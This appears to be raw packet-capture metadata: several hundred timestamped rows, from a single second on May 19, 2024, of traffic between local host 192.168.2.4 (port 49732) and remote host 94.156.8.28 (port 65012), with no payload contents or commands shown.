May 19, 2024 06:01:07.100553989 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100554943 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100581884 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100615025 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100637913 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.101804972 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.101893902 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.101931095 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.101933956 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.101950884 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.101962090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.101989031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.101994991 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.102015018 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.102016926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.102045059 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.102051973 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.102072001 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.102106094 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105715990 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105745077 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105773926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105792046 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105802059 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105823994 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105829954 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105858088 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105868101 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105885029 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105895042 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105912924 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105926037 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105941057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105967045 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.105978012 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.105993986 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106004953 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106021881 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106024027 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106054068 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106087923 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106110096 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106116056 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106142998 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106156111 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106170893 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106175900 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106198072 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106214046 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106225967 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106235981 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106256008 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106257915 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106282949 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106283903 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106309891 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.106340885 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106360912 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.106555939 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107585907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107618093 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107645988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107655048 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107672930 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107685089 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107714891 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107717037 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107743025 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107743025 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107762098 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107772112 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107800007 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107804060 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107827902 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107832909 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107853889 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107856035 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107875109 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107883930 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107912064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107917070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107938051 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107939005 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107966900 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107969999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.107994080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.107997894 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.108021021 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.108033895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.108048916 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.108057022 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.108076096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.108078003 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.108097076 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.108170033 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111507893 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111536980 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111563921 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111572027 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111598969 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111598969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111628056 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111630917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111654043 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111655951 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111682892 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111689091 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111711979 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111717939 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111738920 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111740112 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111767054 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111790895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111793995 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111820936 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111849070 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111856937 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111876011 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111879110 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111897945 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111905098 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111932039 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111934900 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111958027 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.111958981 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111988068 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.111989975 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.112015009 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.112016916 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.112042904 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.112061977 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.112070084 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.112099886 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.112143040 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113385916 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113419056 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113445997 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113472939 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113476992 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113503933 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113512993 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113534927 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113542080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113569021 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113583088 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113595963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113601923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113621950 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113626003 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.113666058 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.113687038 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.116951942 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.116981030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117008924 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117036104 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117063046 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117063999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117090940 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117093086 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117119074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117136955 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117150068 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117157936 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117177963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117178917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117203951 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117208004 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117235899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117247105 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117264032 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117273092 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117291927 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117302895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117319107 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117325068 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117347956 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117350101 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117373943 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117376089 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117403984 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117410898 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117430925 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117439985 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117459059 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117460012 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117486954 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117490053 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117511988 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117516041 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.117556095 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.117588997 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.118927956 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.118961096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.118988991 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119000912 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119015932 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119023085 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119043112 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119044065 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119067907 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119097948 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119101048 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119129896 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119155884 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119164944 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119183064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119188070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119206905 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119210958 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119239092 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119245052 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119266987 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119267941 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119297028 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119304895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119324923 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119353056 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119355917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119380951 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119395018 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119407892 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119435072 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119438887 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119462967 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119477034 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119489908 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119498968 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119517088 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119524002 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119544983 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.119550943 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119570971 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.119652987 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.120702982 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.120735884 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.120774031 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.120800972 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122775078 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122805119 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122833014 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122859001 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122867107 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122885942 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122895956 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122915030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122924089 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122942924 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122945070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122971058 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.122983932 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.122998953 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123006105 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123025894 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123027086 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123045921 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123053074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123080969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123106956 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123116016 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123135090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123140097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123162031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123189926 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123217106 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123222113 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123244047 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123260975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123289108 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123290062 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123317003 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123321056 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123339891 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123343945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123366117 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123404026 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.123415947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.123493910 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124741077 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124774933 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124802113 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124804020 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124829054 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124831915 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124850988 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124856949 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124883890 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124891996 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124912024 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124912977 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124939919 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124955893 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124967098 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.124989033 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.124995947 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125022888 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125035048 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125050068 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125067949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125077963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125104904 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125108004 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125132084 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125133038 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125159979 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125174999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125186920 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125200987 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125215054 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125231981 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125241995 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125253916 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125269890 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125277996 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125298023 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125304937 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125325918 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.125348091 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125370979 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.125391006 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126651049 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126683950 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126709938 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126714945 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126744032 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126753092 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126763105 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126780033 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126806021 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126832008 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126838923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126858950 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126869917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126887083 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126890898 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126914024 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126938105 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126940966 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126957893 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.126967907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.126982927 CEST	49732	65012	192.168.2.4	94.156.8.28
